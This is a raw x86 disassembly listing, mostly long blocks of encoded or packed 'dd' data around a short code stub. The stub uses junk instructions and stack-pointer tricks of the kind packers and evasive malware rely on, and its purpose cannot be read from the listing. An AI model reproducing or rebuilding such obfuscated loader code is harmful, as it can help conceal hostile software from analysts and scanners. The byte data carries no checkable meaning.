		dd 0F4CEBDh, 60D3A020h,	9E2F753Ah, 35BEC36Ah, 200EE2Ch
		dd 0A7760000h, 0C3941D20h, 77E57E1Eh, 859840FFh, 3E9D1BDh
		dd 0C5F004F1h, 0E4D1222Bh, 48858E7Fh, 43D8A4C4h, 88D00F99h
		dd 999A241Fh, 0A1152074h, 0ECE096Dh, 7BB6A6FBh,	0AA5B2BC5h
		dd 234471D9h, 0D8CC10DFh, 0D7338C6Eh, 73E70h, 18374300h
		dd 0EEDB2ADBh, 0B0899875h, 53C42A3h, 0D4EB31DEh, 4AA1C80Fh
		dd 3BD40F36h, 0EB04DFE2h, 54B1A29Dh, 1CED7643h,	922C58CCh
		dd 0D4A3C585h, 0F8D5DE6Ch, 6550A514h, 0E0ED2791h, 9D3EE3Bh
		dd 1AAB9AD2h, 2ED81699h, 7A24BB5h, 638F3241h, 69000001h
		dd 14F8D5DEh, 0FE6550A5h, 9547DCA0h, 9F198C11h,	0B9CCA1BDh
		dd 4F330E1Dh, 4F33170Bh, 8FFB73FDh, 0E3A60E7h, 774B3409h
		dd 0E77D0DD9h, 8A83A60h, 7E8677FDh, 96B7A947h, 0B32C3506h
		dd 38h,	760D6F5Dh, 5D140E4h, 645EBD9Fh,	0CB305090h, 67B13A60h
		dd 0E335E468h, 82260D4h, 346C81FDh, 0BDC233B9h,	0E2AE7780h
		dd 8CDA5536h, 5C51F862h, 0D3782C35h, 84000000h,	72F8D5DEh
		dd 0F61004CDh, 0EB2F93A2h, 1A6BF32Ch, 6FB564ECh, 0E83DEC50h
		dd 69FD0FDDh, 0C394BC1Dh, 0DEE53D92h, 15C44CFAh, 0B82E3500h
		dd 0C3934AD1h, 2BCDD2C3h, 0FA052EB7h, 32D0133h,	17CCF90Ah
		dd 3C2E3547h, 0F88C20B2h, 4FC394E8h, 0FE09DD0Bh, 22BD9979h
		dd 59681C90h, 9BFF3A67h, 0F701EE6Dh, 3C1074D8h,	9AA5FF2Eh
		dd 2AF9EB50h, 446C2DCBh, 0C4DCC9AAh, 0A0D86EF9h, 2F1B865Eh
		dd 5F268h, 0D4E33700h, 0BA979E0Fh, 0C3D4CB9h, 0D1E036D7h
		dd 0A09FE502h, 3EDD04B3h, 0EF18DBFAh, 5F48AB96h, 8E57E49h
		dd 0E811C2FFh, 8D98EC00h, 0A06FC585h, 0FBDADE38h, 4F7A8F78h
		dd 0C2A31894h, 959B02C4h, 89F49014h, 77BC394h, 22FC1423h
		dd 437A3CA0h, 0D5DEBFA5h, 4BF41A6Dh, 0F58A69DAh
		dd 2D91F5E9h, 0C51E2B7Ch, 163Eh, 0D5DE4600h, 50A514F8h
		dd 7BB19165h, 4570856Ah, 39679Eh, 0DE810000h, 0DC14F8D5h
		dd 0C3941DADh, 66EAD72Ch, 22C27AF9h, 8B72A3EBh,	0BAFF437Eh
		dd 19136F7Eh, 0D421C6C7h, 6CBF176Ch, 0B195795Dh, 0D50A865Dh
		dd 9D94EF50h, 0F42514Fh, 0BD07FD2Bh, 98E04850h,	99FDD1A5h
		dd 0D637D135h, 0EC0CF0CDh, 0CD618B90h, 0BD859ADCh, 6E88917Ch
		dd 0FBFE34C6h, 0A7160AD1h, 47C4625Dh, 0EB3CE973h, 9FE805DEh
		dd 0BEDEDEA2h, 0CD3FB7A5h, 33446BA7h, 0A7790DA1h, 0B8C03048h
		dd 62DD3185h, 2911EE18h, 0F4C1D2C3h, 0AE75BE6Fh, 48A74206h
		dd 99FDC530h, 47A7F535h, 0EE0FE985h, 33391DCAh,	4364A6BBh
		dd 0D32BDA4Eh, 0A2418ECh, 0E3A350Dh, 25928125h,	4B96A2Dh
		dd 0AAFC0000h, 50A74093h, 615F261h, 0A7FF28CBh,	56AA5B98h
		dd 264DF46Fh, 5182BDC7h, 81526FB4h, 3E251064h, 6A89C4D1h
		dd 0A7234BA1h, 28C5858Fh, 0D5DEE359h, 35E072F8h, 2C60D4E3h
		dd 941DA024h, 0ECD329C3h, 675B2418h, 0B4C12EC9h, 0ADC15399h
		dd 0C3941DD9h, 56BA54AEh, 0E23292E7h, 0E6F867EBh, 7655CE2Dh
		dd 906458BCh, 38E1EC26h, 0F701D2EFh, 3241EB56h,	4F73h
		dd 33BD9D00h, 941DCFBBh, 0CC7A40C3h, 4597ACF0h,	887C4D58h
		dd 5CD09AB4h, 0BD9EE1FBh, 6B1F9721h, 0FC3A60AFh, 97EB6886h
		dd 714C5845h, 0AF0E7CE2h, 7A8F3A60h, 28709D4Fh,	0C36DA115h
		dd 86B1C720h, 3FD5D32h,	2C930000h, 2D724842h, 4CB25C7Dh
		dd 2C23D5DEh, 0D964683Bh, 0CC034C8Bh, 0DF69A8B1h, 0F5CA71FBh
		dd 48879117h, 0D9BDE8Fh, 1E7D9EF2h, 91BFB430h, 8AC7D0B9h
		dd 0F6F0D69h, 0B64E0976h, 6BF1D59Ah, 0B3C864BAh, 0E2C63A8Eh
		dd 8E18AA44h, 94736266h, 5D83A5C3h, 0BEEA5709h,	874FF9C1h
		dd 0BD9F9E3Ah, 655CA20Bh, 0D5B5BD01h, 3A619Ch, 4D98E358h
		dd 0A81C297Ah, 66AFAB54h, 7F8E28C6h, 35B86485h,	0ECE55A2Ch
		dd 3BAFD03Ch, 2D1C6FDEh, 36CB6559h, 3Ch, 1F227BAAh, 0D6F0BF1h
		dd 1277E476h, 4AEA9A4Dh, 0B1AF1621h, 101BE935h,	41F074F6h
		dd 2EBD9F14h, 2BDA60D4h, 391DE1D8h, 0FA07470Fh,	0C6D23A60h
		dd 0D81CCDC7h, 0C9352C35h, 0D3000000h, 14F8D5DEh, 9C605FA5h
		dd 19EDD82Dh, 896A67B0h, 941B5C65h, 0BF8A9FC3h,	963E4BA4h
		dd 44356781h, 0EE229F9Fh, 0EEC2068Ah, 2E46D01Ah, 3C6B5F5Ah
		dd 7570E2Dh, 177EA6Dh, 0E1BB032Dh, 0F51C905Ah, 4A4260B8h
		dd 0D458EA70h, 3A6062B0h, 4225C337h, 0E1058814h, 3A6062E5h
		dd 4473856Ah, 44B89CF0h, 0F4EF1E96h, 1A60446Dh,	0E0DF25D0h
		dd 0A34EC57Ah, 0A6D1474Eh, 0FA3EEF88h, 45E60CDBh, 252D8C6Ch
		dd 2AA62h, 0AC9BEF00h, 724F56B7h, 0C4F504E1h, 0A9A8EE1Fh
		dd 78475D4Ah, 0F6155CFBh, 0A74093A2h, 17F0635Eh, 0C02D3601h
		dd 0B0599AB7h, 895034B8h, 68D7C585h, 0FBDADEF0h, 3B4FE771h
		dd 8CC3941Dh, 2EDF98B6h, 8D0BE8E5h, 0E4760D6Fh,	33DDE039h
		dd 0B9FE2FB9h, 3B9A6A84h, 34BD9F05h, 30DEAC15h,	0BA9EBD6Fh
		dd 556E1ED6h, 31BB3A60h, 3084B5C4h, 757032DCh, 35396E9Fh
		dd 0F65B2Ch, 47D10000h,	60595B2Fh, 38D62C3Ah, 0F8D5DEC2h
		dd 7199C614h, 0D7BF3B65h, 0EFE89DEDh, 197D460Eh, 3B1A1EEFh
		dd 3CD69F57h, 1C69C394h, 0C0D53221h, 51D567F5h,	0C3943E35h
		dd 0A2A640BAh, 28176D98h, 6A1E96A4h, 0FDC3943Eh, 3787A185h
		dd 980CDE65h, 0BD9F0971h, 0E99D11A3h, 7E3A610Ch, 156DEA04h
		dd 810C90CEh, 610C196Dh, 0AF4FEE3Ah, 92DD0534h,	7EECC024h
		dd 6C37F4F6h, 0D9037744h, 287CD42Ch, 7155A91Dh,	6EB766E2h
		dd 0AD94EA53h, 4F768A83h, 6A93A480h, 0F85FAB8Ch, 197h
		dd 0A2B1889Ah, 0DC073245h, 0AE9E033h, 0A5BE859Dh, 0D60D3048h
		dd 9FE5786Fh, 4D52B3A0h, 0F202E370h, 9AEF18DBh,	0A547B4AFh
		dd 85884501h, 857BCAC5h, 0AE4850BDh, 16EDE0D7h,	0B5197D70h
		dd 4256B751h, 48AC91E6h, 1C297AABh, 0BA32BCCEh,	0C394C4CEh
		dd 9DE97941h, 12C394C4h, 9F65FE28h, 0B4A50BDh, 0A8A54387h
		dd 4C9E625Fh, 87DB2DEFh, 0EFF3CA0h, 2C21CF06h, 0E9227BDBh
		dd 94110145h, 58BC86C3h, 0A7BC90F4h, 0BC003D46h, 8A8E207Ch
		dd 80BDC24Bh, 374FBEACh, 0A6408408h, 23EDA0C4h,	1862BD9Fh
		dd 28B46DD2h, 0C052B108h, 7D372226h, 437E8B70h,	0ADB6C690h
		dd 2C6000BFh, 5FCCE7Ch,	0C8ED01EBh, 0BD446B2Ah,	0FF08F145h
		dd 1C167EC2h, 0B8C3D991h, 51F3AB2h, 2A104E76h, 454EBFC9h
		dd 1A6FDE08h, 0C4D03D2Fh, 2EB5F89h, 0E411DBF2h,	8387A19Ch
		dd 6A931296h, 67372C19h, 48DC0E15h, 5042F6F5h, 0D736AB4Ah
		dd 0B5FB2686h, 0EB3CED51h, 0B5CF6ADEh, 941A6238h, 0D096698Fh
		dd 3425BD3Eh, 34286CD0h, 0C338E26h, 3E045A4Dh, 18237925h
		dd 99435AD2h, 0A69C5C42h, 231E6BD2h, 0F7C2D730h, 0E5362303h
		dd 0A204DABh, 718471FBh, 52A7A640h, 2094A1F2h, 0E6F6921Ah
		dd 1796EBEh, 0FD2AC92Dh, 40299DA8h, 24D11B3Ah, 0C149E7DEh
		dd 0A8515C54h, 77F1625Fh, 0E60541E5h, 7E846EBEh, 6482F847h
		dd 0DDA19CE9h, 127Ah, 0FD07F600h, 0BD3E24C2h, 1DCFBB33h
		dd 7A40C394h, 0DE3D1BCCh, 0A009FDD4h, 27967A57h, 0AB12E6D1h
		dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h
		dd 0CF7BCFFAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	0B68h
		mov	[esp], edx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	eax
		push	ebp
		push	27D74985h
		pop	ebp
		or	ebp, 649934CBh
		add	ebp, 711B43E8h
		xor	ebp, 0DEEB447Fh
		mov	eax, ebp
		pop	ebp
		mov	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	6424h
		mov	[esp], edx
		pop	dword ptr [esi+8]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_543FDB
; ---------------------------------------------------------------------------
		dd 7F61D8CAh, 119700B8h, 0FFC50306h, 297798E0h,	9C0C12Eh
		dd 0C6885414h, 4880354Eh, 17EA5239h, 10C9265Ch,	2B8D6674h
		dd 0D0F25939h, 7B06A223h, 0E51CC30Dh, 2FB91B75h, 0BCFF5528h
		dd 0A0D4CC1Ah, 0D0A3BE7Dh, 8766D577h, 6FDA424Ah, 0CDB30C31h
		dd 0B38D8D43h, 6A061198h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 3CBCC357h, 56DAA80Fh
		dd 0BEC42D23h, 2E491D8Ch, 174D8D89h, 8E8060Bh, 0FE000000h
		dd 509D0A59h, 0BE23AA6h, 0B1B79BDh, 85C75B06h, 60B0119h
		dd 595Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	0AEC35545h, 7E32E9CEh, 0E9BE2B04h, 13h,	830CEB1Dh
		dd 58D2B144h, 0D4974C26h, 0D38B448Dh, 0C751F274h, 0B100985h
		dd 6, 0FEB70F00h, 2705B5FFh, 6A060Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 140424h, 52420000h, 0B58B48C3h
		dd 60B0E49h, 0AC595FFh,	858B060Bh, 60B0B25h, 95FF006Ah
		dd 60B32DDh, 6BEBC08Bh,	0E31FB370h, 0B5C90613h,	0AD340D87h
		dd 40F4E831h, 993B2CDEh, 60319586h, 803960A0h, 0F90A9D94h
		dd 0E7196CFCh, 5346D49Ah, 0B60933B0h, 695BB02Bh, 9DC1F3ABh
		dd 96B0695h, 0AF06117Eh, 0F3CC9857h, 0D50490h, 1E7EECC1h
		dd 49D822D5h, 35A8D056h, 0B231574Eh, 1F5AB0C4h,	0CCB965C0h
		dd 1D2278A2h, 4B09DEE7h, 69C4B1FEh, 0E90BB2CEh,	15Fh, 60D48B52h
		dd 0E8h, 0ED815D00h, 6119931h, 3D08428Bh, 78263845h, 138850Fh
		dd 428B0000h, 184A8B0Ch, 66BBC8D3h, 338B9F17h, 4E883C3h
		dd 174D8589h, 588B060Bh, 8BF88B04h, 4A8B1042h, 0BEC8D318h
		dd 0FA4DC379h, 0C72BC633h, 83FCE083h, 858904E8h, 60B0119h
		dd 8914428Bh, 0B100985h, 18428B06h, 0B0E953h, 0B5FF0000h
		dd 60B1ADDh, 0B9E9h, 49B5FF00h,	0E9060B1Ah, 0AEh, 19C9B5FFh
		dd 0A3E9060Bh, 0FF000000h, 0B1B7DB5h, 98E906h, 0B5FF0000h
		dd 60B2A41h, 8DE9h, 5B5FF00h, 0E9060B27h, 82h, 1AA9B5FFh
		dd 77E9060Bh, 0FF000000h, 0B0105B5h, 6CE906h, 0B5FF0000h
		dd 60B1A31h, 61E9h, 0D9B5FF00h,	0E9060B0Eh, 56h, 2355B5FFh
		dd 4BE9060Bh, 0FF000000h, 0B21D9B5h, 40E906h, 0B5FF0000h
		dd 60B1F8Dh, 35E9h, 0D5B5FF00h,	0E9060B0Fh, 2Ah, 0DA5B5FFh
		dd 1FE9060Bh, 0FF000000h, 0B12A9B5h, 14E906h, 0D88B0000h
		dd 0BB8h, 0E3F76600h, 99928D8Dh, 0C8030611h, 95FFE1FFh
		dd 60B0AC5h, 4D858B5Bh,	39060B17h, 850F0458h, 0Fh, 0FF016A53h
		dd 0B32DD95h, 0E2E95B06h, 61FFFFFFh, 5A61C35Ah,	0D4C96AB8h
		dd 8BE0FF77h, 0B000D85h, 808D8D06h, 8906119Ah, 0C38B0141h
		dd 0FE8h, 0DB87A300h, 0CED4C2D7h, 0B7A34AB7h, 9A06C209h
		dd 0F5BC6B6h, 0C381FFB7h, 61ACh, 0E8816060h, 28E3647h
		dd 66615953h, 618BBFBBh, 182C68h, 11E800h, 921F0000h, 3AE0E2FFh
		dd 4777191Ch, 9367AF16h, 0BFD0BFF8h, 7BEBD426h,	0B866595Ah
		dd 33FF1C4Fh, 6860Fh, 0E8810000h, 56475A23h, 12800F5Eh
		dd 0E8000000h, 7, 5F605659h, 6607656Eh,	3D1FC081h, 0E3EE815Ah
		dd 0B0169CFCh, 24EE8196h, 604E5526h, 9539A7BBh,	0CEBF0F52h
		dd 0CDEE8161h, 0B06064E8h, 0F3389BCh, 88Dh, 2810F00h, 0B6000000h
		dd 0A7EB8161h, 0E969216Ch, 8, 0B4BB82CDh, 9EB5F692h, 6CA3C381h
		dd 7E86921h, 0E5000000h, 0A7638954h, 12E9566Fh,	0C3000000h
		dd 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 360034DAh, 0E9815F9Dh
		dd 1, 0FF60850Fh, 8060FFFFh, 810F96D4h,	4, 3724BE66h, 12E861h
		dd 0B4D0000h, 12BD91B5h, 66674C16h, 0FE3CFD08h,	5EDA20BCh
		dd 5CCA815Bh, 81788B46h, 5EA8C3h, 46BA6600h, 5DF2BED4h
		dd 0F68130E3h, 30E34A72h, 0F8F0Fh, 6E80000h, 0B5000000h
		dd 9C65F51Fh, 0AEEC807Dh, 0E833FF58h, 0Ah, 6A659382h, 43D077FCh
		dd 0CE80510h, 80000000h, 0BA68B082h, 7F7B282h, 8A504231h
		dd 595F5FF5h, 66A9B460h, 61B94BBFh, 0D712C181h,	840F202Ch
		dd 0Bh,	0DEB70F60h, 8C0Fh, 81610000h, 0CAD8F7E9h, 0E7C18104h
		dd 0BA2E9759h, 1598A789h, 0EB830B89h, 0C18B6604h, 9A850F4Eh
		dd 66FFFFFFh, 8D8DD78Bh, 6119D35h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0F4C35747h,	89D418C1h, 0B20B985h
		dd 4D8D8906h, 81060B17h, 9C99B8F2h, 1985C746h, 54060B01h
		dd 8B000072h, 0B208585h, 985C706h, 60B10h, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 98F2C353h, 0E6C3BF61h, 0C78B8DC2h, 63DB58Bh,	0B5FF060Bh
		dd 60B2A41h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	4DC35141h, 1C6643FEh, 0E7B52985h, 98D8960h, 61060B08h
		dd 21A19529h, 0B589060Bh, 60B188Dh, 0AC595FFh, 6A060Bh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0BB918BC3h, 6A6B7Dh,	32DD95FFh, 0C08B060Bh, 0DAED19EBh
		dd 7006D8D9h, 0FD6FF405h, 0E1738149h, 6A4D5212h, 4E74FF94h
		dd 0EB9A7C20h, 8, 70BE0300h, 4EDE950h, 67680000h, 0E906119Eh
		dd 0FFF9E1CBh, 119EEB68h, 0E1C1E906h, 7B68FFF9h, 0E90611A0h
		dd 0FFF9E1B7h, 0E67D545Eh, 10C3FE09h, 4E95A4F7h, 0F97A59A1h
		dd 2AC9F40Ch, 53A944ABh, 116F76Ch, 0BEC6273Ch, 66B35C87h
		dd 0E903886Bh, 85800145h, 413786C5h, 17FBDADEh,	0F3605DA6h
		dd 9842D9A3h, 9F218514h, 0EC50AABDh, 60EF0444h,	0D40BD13Ah
		dd 567C8138h, 31739DA1h, 54AD5CB4h, 1B842C35h, 60000003h
		dd 84150BDh, 8BC6D584h,	770C7997h, 3C2E3547h, 53443B2h
		dd 52E1BEBh, 0ED52BD9Fh, 9DE26918h, 5F9B97A0h, 1D2F2CDAh
		dd 60B8FD89h, 0F3971F3Ah, 743A60B8h, 0C049B10Eh, 0D03498B1h
		dd 6CBF6EFCh, 3ACCB35Dh, 3F0413F3h, 0E149A9F3h,	0A69DE5E7h
		dd 24BFB599h, 98EB1AC0h, 6ED2EF34h, 5618362Ah, 10A9AFDEh
		dd 76DA2041h, 0FDD6636h, 1B94EAE7h, 0D5077B4Bh,	71E2DF28h
		dd 0B9B68394h, 8FD96D47h, 3B21E66Ch, 0B9000003h, 608D566Dh
		dd 0CE3F2415h, 0B8558EC3h, 67805362h, 8231221Dh, 4578805Bh
		dd 1528719Eh, 0F8D721CEh, 4C798A7Bh, 6E866A97h,	0C585831Ah
		dd 0BDA61EEDh, 48C1541Eh, 7A944245h, 81A5A22h, 0C9C2D496h
		dd 0CFBB3339h, 40C39421h, 29D4067Ah, 0A547E1DCh, 858E1401h
		dd 3B2119BDh, 18297CA9h, 3A051FEEh, 89B4CC39h, 295DD163h
		dd 0BE3A7A83h, 8EA6AA44h, 3C85D1C1h, 0D11E2B7Ch, 866417F9h
		dd 0B747380Ah, 35000002h, 9C09EAE1h, 4ABBB889h,	34D1023Fh
		dd 0E30CD7EEh, 6BDA699h, 0D9E43CDFh, 0A994ED1Ah, 7C4B5D4Ah
		dd 0C0FD06E7h, 0EA02EE13h, 0C585839Eh, 6F3AA211h, 5AE4760Dh
		dd 996D5CABh, 0F0C1D4A5h, 0B2AB8E56h, 0A69CBD85h, 8B9D08D2h
		dd 82C292BCh, 33A7A7Eh,	8475D9F0h, 4A3EB671h, 0DD3A7A7Eh
		dd 3D81E5h, 899C0580h, 9CF0D4B8h, 56AA3B79h, 2C2E6FB7h
		dd 19992h, 33BD7A00h, 941DCFBBh, 0CC7A40C3h, 0B5193441h
		dd 5D86B3C4h, 7AE07B01h, 9F196FF2h, 8B23ADBDh, 3A60E6FFh
		dd 7FDC0A70h, 0CFBFB71Bh
		dd 1A3A60E6h, 18850F9Eh, 8073009h, 40D78C5Fh, 0FF2E103Eh
		dd 3D2C34FDh, 5F89C4D0h, 509Ah,	0D6F6200h, 9D77E476h, 0AA31079Fh
		dd 9E4A3EB6h, 0E5DDC394h, 61856781h, 0BD9F86B0h, 0A91946D0h
		dd 89693394h, 0DD345090h, 47BB3A61h, 0EC50AAA9h, 61DD0444h
		dd 9A0BD13Ah, 0F6CABE8Bh, 0C54F5E58h, 9FDC0D8h,	8211B35h
		dd 212C36B1h, 0BBh, 23D5DECFh, 1C742758h, 93675B77h, 1BEFD62Ah
		dd 0E05461B2h, 20A4C85Ah, 0A7C394AAh, 4F58B553h, 0AA646084h
		dd 97EBC394h, 297CA9B3h, 0B650B418h, 0AF07A93Dh, 2D76C394h
		dd 0FD417C85h, 0E0BEA599h, 0CA07129Ch, 3C2E0246h, 0F88C20B2h
		dd 4FC394AFh, 0FE09DD0Bh, 4FBD993Eh, 0EC34E10Bh, 869A0BD1h
		dd 5AD691BFh, 0F9635EABh, 671C1175h, 82AC963Ah,	814E718Bh
		dd 865FB53Bh, 272DE260h, 0A5000001h, 0CF97A51h,	0FA2BC8F9h
		dd 0A44192AFh, 13FC675Eh, 962D3609h, 6954AC4Fh,	39041D8Ah
		dd 8CBBCD3Ah, 506DB657h, 7AF27E83h, 0C585BD0Eh,	0DE4A3281h
		dd 8F78FBDAh, 0FFC6DA7Ah, 0DEB8589Bh, 0A514F8D5h, 72FE6550h
		dd 0E9C7A83h, 0E2469EBAh, 0F7C76145h, 0D84C9EA5h, 0BD9EB17Fh
		dd 0B5608AF0h, 14AC6B66h, 0D618A825h, 0EE1FD17Fh, 2648ABAAh
		dd 3A6129A6h, 7CE7D227h, 0C2B68993h, 0A90Dh, 0D6F9700h
		dd 5940E476h, 0D6BD85B2h, 7ECE3637h, 53EC86A5h,	35AFAE0Dh
		dd 8C7054ACh, 66FDC8DDh, 0D3EE3BEAh, 10FD2B6Fh,	0BB20CA07h
		dd 67C287D2h, 0F850FE61h, 1BDBC368h, 82392B94h,	0F092F632h
		dd 0BFF9170Dh, 81BCC92Eh, 5560B552h, 0D3E238E1h, 5B7ABE6Fh
		dd 0C6FB06F7h, 0A1152477h, 9B9EA3F8h, 7324C59h,	0D7B33B45h
		dd 58601921h, 0B1889B62h, 8901D97h, 0E515C7D3h,	24730297h
		dd 96DA115h, 28256EDFh,	63C9D3C2h, 7F53271Ah, 0B553B71Bh
		dd 8024B632h, 60195AC4h, 74D9774Bh, 5A758323h, 33D9266h
		dd 47000000h, 0D4DE9C84h, 57A009FDh, 0D127967Ah, 52AB12E6h
		dd 0EE329B6Fh, 66BA63D7h, 0FC02EB5Fh, 798871C5h, 0FA0DFC40h
		dd 52CF7BCFh, 0C281E289h, 4, 8704EA83h,	895C2414h, 29682414h
		dd 8900001Bh, 7668241Ch, 89000042h, 0E3BB242Ch,	431F0323h
		dd 31F3814Bh, 560BE006h, 0C83F0ABEh, 5EF32160h,	787EC381h
		dd 8B540551h, 0C483242Ch, 4815304h, 0D2498824h,	8458F3Bh
		dd 276BB850h, 2D4021E7h, 0E614DDE4h, 58084529h,	5D2434FFh
		dd 8B04C483h, 8953241Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 0F0E95C24h, 2FFF9DCh, 39EEED03h, 0B88F6F96h,	611A1C7h
		dd 0E0FFC503h, 19D12EF4h, 7CEBB025h, 406E941Ch,	458BFFF2h
		dd 744BE629h, 630B0A4h,	7D7E77D2h, 0ED682EDh, 92707E7h
		dd 322AA02Eh, 74DE2625h, 472636BEh, 3D693F8Ch, 3586B36h
		dd 5DA01A01h, 5A9C8C10h, 21973A53h, 4073085Ah, 48A3D7D0h
		dd 3DFE05ACh, 6DFEC974h, 6EA17065h, 0BCB6D25h, 5A8AAB23h
		dd 3D708CAh, 17122275h,	4E012951h, 0AAFD854h, 5AE270C5h
		dd 614BD2BAh, 70635A7Dh, 75AC44D4h, 13E8h, 0B6C61000h
		dd 0F5AF94DAh, 0EC68F275h, 4D63CF57h, 0DC9C0ED1h, 0DE9h
		dd 0A8946D00h, 8C2A1229h, 8071DD42h, 665ACE9Ch,	0C281C88Bh
		dd 6C50h, 33F6BF0Fh, 23C8BC0h, 5621ABBh, 91C7814Bh, 0F6519E8h
		dd 0EF81CFB7h, 2F074E02h, 6104BE66h, 0F609EF81h, 57F54123h
		dd 0CE9h, 0EA153000h, 0BDC521Bh, 0DB9D57DAh, 2048F35h
		dd 83F78B66h, 35BE04E8h, 813C59B2h, 0FF948CF8h,	19850FFFh
		dd 66000000h, 56E9D98Bh, 6F000000h, 0D4AD6905h,	77E27443h
		dd 4F0DD866h, 0C77996EBh, 2A890Fh, 0AE80000h, 28000000h
		dd 6333227Eh, 1FFEF111h, 14E844h, 33BC0000h, 28CBD455h
		dd 2FA3C254h, 93759CDDh, 0D5E44906h, 5E59F7E0h,	0FFFF64E9h
		dd 0D11FB1FFh, 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 0AE881h
		dd 57430000h, 0B8A180CCh, 4A1D1732h, 0FE95Eh, 0A7710000h
		dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 50C681F8h, 6600005Bh
		dd 1537C181h, 34FFC033h, 0CAB70F30h, 0AE95Bh, 43630000h
		dd 0BD71D075h, 3552EA32h, 19B2F381h, 81F90652h,	405C53EBh
		dd 0D0B65107h, 7CEB815Ah, 0B665372Eh, 0BF665365h, 48FE8A2h
		dd 0F9B70F06h, 58C0Fh, 0CEBA0000h, 816347FEh, 6C9DFEE8h
		dd 0FAC08159h, 0E9596C9Dh, 0Eh,	3A80DFD4h, 0E3A1ED3Ch
		dd 0F3C2842Dh, 0F881654Eh, 0FFFFA548h, 0FF90850Fh, 13E8FFFFh
		dd 20000000h, 4D2C5FCh,	0B761E00Fh, 3E5B3F87h, 89B2B49Bh
		dd 8B66DBC1h, 8E0F59F7h, 4, 76DEBF66h, 5A8BC181h, 14E90000h
		dd 6E000000h, 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh
		dd 2BE123EAh, 57E681D2h, 0FF063BCFh, 0F5B0A34h,	58Ch, 0BBC6BE00h
		dd 0F3811227h, 2CD5AF93h, 0FE8h, 0FC79DD00h, 223DEBECh
		dd 50BE2170h, 0E8C3E951h, 13E9h, 6E4DAE00h, 0D30E9EABh
		dd 0F896D8C9h, 315DADA8h, 51ECA2B8h, 0F2C3815Eh, 8110D3E0h
		dd 0A5E926F3h, 0BE97Dh,	0ADE0000h, 0D54497FCh, 0AC557BC0h
		dd 0F08153CBh, 25B637Fh, 0F11048Fh, 0B82h, 6E900h, 457C0000h
		dd 71097460h, 0FE9h, 7BA2A100h,	73D2E8Fh, 53A0A997h, 98357A6Ah
		dd 0E901EA83h, 0Dh, 9F935CACh, 988BFBD0h, 0CCA68A0h, 4A4A4AD0h
		dd 0A6A0FA81h, 850FFFFFh, 1Eh, 0AE9h, 2B351F00h, 0C89915E9h
		dd 0E9A29160h, 22h, 0BCCAF818h,	9F24254Ch, 0BF0FEA7Bh
		dd 0FF29E9F7h, 0BE22FFFFh, 6BC139D3h, 0D8679E22h, 0E03A0CD4h
		dd 6E8ABE2h, 7D000000h,	5C1C8F59h, 0BE85663h, 8E000000h
		dd 83F99B09h, 554417E3h, 0B70F57BFh, 5E5B5FDEh,	513F7FBBh
		dd 0A6C6810Ch, 0BB000061h, 575DCD01h, 183668h, 12E96000h
		dd 0F7000000h, 0D62EC638h, 0AF936CEEh, 54B2A13Ah, 0D82538ACh
		dd 0FDFDBF82h, 5A617DBEh, 66DF8B60h, 0D6B0E181h, 0F068B61h
		dd 884h, 28E0F00h, 0B5000000h, 43F081A7h, 0B7498C4Bh, 97E88170h
		dd 0E86901B5h, 0Dh, 4D6A1CFDh, 0AC3A10F2h, 0DE4D1EA6h
		dd 0E8815F17h, 6AC76BF5h, 0DF07BA60h, 0F500210h, 87h, 50615F00h
		dd 8F2EC180h, 83FE8A06h, 0E86004EEh, 0Dh, 0D0783BDh, 0A3AE7CB4h
		dd 0F421063Bh, 585E536Bh, 4B61F281h, 83611C57h,	850F01EAh
		dd 0FFFFFF89h, 83C08BF5h, 0B05BDBDh, 9750006h, 29D1BD83h
		dd 7400060Bh, 8B535019h, 421B8C0h, 85890000h, 60B2A35h
		dd 0B31A9D8Dh, 0D3FF060Dh, 0BD83585Bh, 60B29D1h, 50177400h
		dd 421B853h, 85890000h,	60B2A35h, 0B0099D8Dh, 0D3FF060Dh
		dd 0C08B585Bh, 159D9D8Bh, 85C6060Bh, 60B2845h, 0B8526856h
		dd 0B5FF9CA8h, 60B1355h, 7D18858Dh, 0D0FF060Eh,	68046Ah
		dd 0FF000010h, 0B0F4DB5h, 0FF006A06h, 0FC085D0h, 0D85h
		dd 0B800h, 8D8D0000h, 60B7305h,	0C88BE1FFh, 4003C38Bh
		dd 0F8053Ch, 508B0000h,	83D3030Ch, 0B0EB9BDh, 840F0006h
		dd 0Eh,	0EB99D8Bh, 858B060Bh, 60B26E5h,	52510389h, 4245858Dh
		dd 0D0FF060Bh, 0F18BFA8Bh, 0C88BD18Bh, 85C6A4F3h, 60B2845h
		dd 6D396856h, 0B5FFD41Fh, 60B1355h, 7D18858Dh, 0D0FF060Eh
		dd 800068h, 52006A00h, 0C08BD0FFh, 5BDBD83h, 7500060Bh
		dd 0D1BD8309h, 60B29h, 53501974h, 21B8C08Bh, 89000004h
		dd 0B129985h, 819D8D06h, 0FF060DB3h
		dd 83585BD3h, 0B29D1BDh, 17740006h, 21B85350h, 89000004h
		dd 0B129985h, 229D8D06h, 0FF060DB0h, 8B585BD3h,	0B99D8DC0h
